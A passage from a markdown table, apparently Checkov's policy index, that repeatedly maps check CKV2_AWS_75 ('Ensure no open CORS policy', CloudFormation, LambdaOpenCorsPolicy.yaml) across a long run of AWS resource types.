policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  276 | CKV2_AWS_75 | resource | aws_appmesh_gateway_route                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  277 | CKV2_AWS_75 | resource | aws_appmesh_mesh                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  278 | CKV2_AWS_75 | resource | aws_appmesh_route                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  279 | CKV2_AWS_75 | resource | aws_appmesh_virtual_gateway                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  280 | CKV2_AWS_75 | resource | aws_appmesh_virtual_node                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  281 | CKV2_AWS_75 | resource | aws_appmesh_virtual_router                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  282 | CKV2_AWS_75 | resource | aws_appmesh_virtual_service                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  283 | CKV2_AWS_75 | resource | aws_apprunner_auto_scaling_configuration_version                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  284 | CKV2_AWS_75 | resource | aws_apprunner_connection                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  285 | CKV2_AWS_75 | resource | aws_apprunner_custom_domain_association                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  286 | CKV2_AWS_75 | resource | aws_apprunner_default_auto_scaling_configuration_version         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  287 | CKV2_AWS_75 | resource | aws_apprunner_deployment                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  288 | CKV2_AWS_75 | resource | aws_apprunner_observability_configuration                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  289 | CKV2_AWS_75 | resource | aws_apprunner_service                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  290 | CKV2_AWS_75 | resource | aws_apprunner_vpc_connector                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  291 | CKV2_AWS_75 | resource | aws_apprunner_vpc_ingress_connection                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  292 | CKV2_AWS_75 | resource | aws_appstream_directory_config                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  293 | CKV2_AWS_75 | resource | aws_appstream_fleet                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  294 | CKV2_AWS_75 | resource | aws_appstream_fleet_stack_association                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  295 | CKV2_AWS_75 | resource | aws_appstream_image_builder                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  296 | CKV2_AWS_75 | resource | aws_appstream_stack                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  297 | CKV2_AWS_75 | resource | aws_appstream_user                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  298 | CKV2_AWS_75 | resource | aws_appstream_user_stack_association                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  299 | CKV2_AWS_75 | resource | aws_appsync_api_cache                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  300 | CKV2_AWS_75 | resource | aws_appsync_api_key                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  301 | CKV2_AWS_75 | resource | aws_appsync_datasource                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  302 | CKV2_AWS_75 | resource | aws_appsync_domain_name                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  303 | CKV2_AWS_75 | resource | aws_appsync_domain_name_api_association                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  304 | CKV2_AWS_75 | resource | aws_appsync_function                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  305 | CKV2_AWS_75 | resource | aws_appsync_graphql_api                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  306 | CKV2_AWS_75 | resource | aws_appsync_resolver                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  307 | CKV2_AWS_75 | resource | aws_appsync_source_api_association                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  308 | CKV2_AWS_75 | resource | aws_appsync_type                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  309 | CKV2_AWS_75 | resource | aws_athena_data_catalog                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  310 | CKV2_AWS_75 | resource | aws_athena_database                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  311 | CKV2_AWS_75 | resource | aws_athena_named_query                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  312 | CKV2_AWS_75 | resource | aws_athena_prepared_statement                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  313 | CKV2_AWS_75 | resource | aws_athena_workgroup                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  314 | CKV2_AWS_75 | resource | aws_auditmanager_account_registration                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  315 | CKV2_AWS_75 | resource | aws_auditmanager_assessment                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  316 | CKV2_AWS_75 | resource | aws_auditmanager_assessment_delegation                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  317 | CKV2_AWS_75 | resource | aws_auditmanager_assessment_report                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  318 | CKV2_AWS_75 | resource | aws_auditmanager_control                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  319 | CKV2_AWS_75 | resource | aws_auditmanager_framework                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  320 | CKV2_AWS_75 | resource | aws_auditmanager_framework_share                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  321 | CKV2_AWS_75 | resource | aws_auditmanager_organization_admin_account_registration         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  322 | CKV2_AWS_75 | resource | aws_autoscaling_attachment                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  323 | CKV2_AWS_75 | resource | aws_autoscaling_group                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  324 | CKV2_AWS_75 | resource | aws_autoscaling_group_tag                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  325 | CKV2_AWS_75 | resource | aws_autoscaling_lifecycle_hook                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  326 | CKV2_AWS_75 | resource | aws_autoscaling_notification                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  327 | CKV2_AWS_75 | resource | aws_autoscaling_policy                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  328 | CKV2_AWS_75 | resource | aws_autoscaling_schedule                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  329 | CKV2_AWS_75 | resource | aws_autoscaling_traffic_source_attachment                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  330 | CKV2_AWS_75 | resource | aws_autoscalingplans_scaling_plan                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  331 | CKV2_AWS_75 | resource | aws_az_info                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  332 | CKV2_AWS_75 | resource | aws_backup_framework                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  333 | CKV2_AWS_75 | resource | aws_backup_global_settings                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  334 | CKV2_AWS_75 | resource | aws_backup_logically_air_gapped_vault                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  335 | CKV2_AWS_75 | resource | aws_backup_plan                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  336 | CKV2_AWS_75 | resource | aws_backup_region_settings                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  337 | CKV2_AWS_75 | resource | aws_backup_report_plan                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  338 | CKV2_AWS_75 | resource | aws_backup_restore_testing_plan                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  339 | CKV2_AWS_75 | resource | aws_backup_restore_testing_selection                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  340 | CKV2_AWS_75 | resource | aws_backup_selection                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  341 | CKV2_AWS_75 | resource | aws_backup_vault                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  342 | CKV2_AWS_75 | resource | aws_backup_vault_lock_configuration                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  343 | CKV2_AWS_75 | resource | aws_backup_vault_notifications                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  344 | CKV2_AWS_75 | resource | aws_backup_vault_policy                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  345 | CKV2_AWS_75 | resource | aws_batch_compute_environment                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  346 | CKV2_AWS_75 | resource | aws_batch_job_definition                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  347 | CKV2_AWS_75 | resource | aws_batch_job_queue                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  348 | CKV2_AWS_75 | resource | aws_batch_scheduling_policy                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  349 | CKV2_AWS_75 | resource | aws_bcmdataexports_export                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  350 | CKV2_AWS_75 | resource | aws_bedrock_custom_model                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  351 | CKV2_AWS_75 | resource | aws_bedrock_guardrail                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  352 | CKV2_AWS_75 | resource | aws_bedrock_guardrail_version                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  353 | CKV2_AWS_75 | resource | aws_bedrock_inference_profile                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  354 | CKV2_AWS_75 | resource | aws_bedrock_model_invocation_logging_configuration               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  355 | CKV2_AWS_75 | resource | aws_bedrock_provisioned_model_throughput                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  356 | CKV2_AWS_75 | resource | aws_bedrockagent_agent                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  357 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_action_group                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  358 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_alias                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  359 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_collaborator                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  360 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_knowledge_base_association                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  361 | CKV2_AWS_75 | resource | aws_bedrockagent_data_source                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  362 | CKV2_AWS_75 | resource | aws_bedrockagent_knowledge_base                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  363 | CKV2_AWS_75 | resource | aws_budgets_budget                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  364 | CKV2_AWS_75 | resource | aws_budgets_budget_action                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  365 | CKV2_AWS_75 | resource | aws_caller_info                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  366 | CKV2_AWS_75 | resource | aws_ce_anomaly_monitor                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  367 | CKV2_AWS_75 | resource | aws_ce_anomaly_subscription                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  368 | CKV2_AWS_75 | resource | aws_ce_cost_allocation_tag                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  369 | CKV2_AWS_75 | resource | aws_ce_cost_category                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  370 | CKV2_AWS_75 | resource | aws_chatbot_slack_channel_configuration                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  371 | CKV2_AWS_75 | resource | aws_chatbot_teams_channel_configuration                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 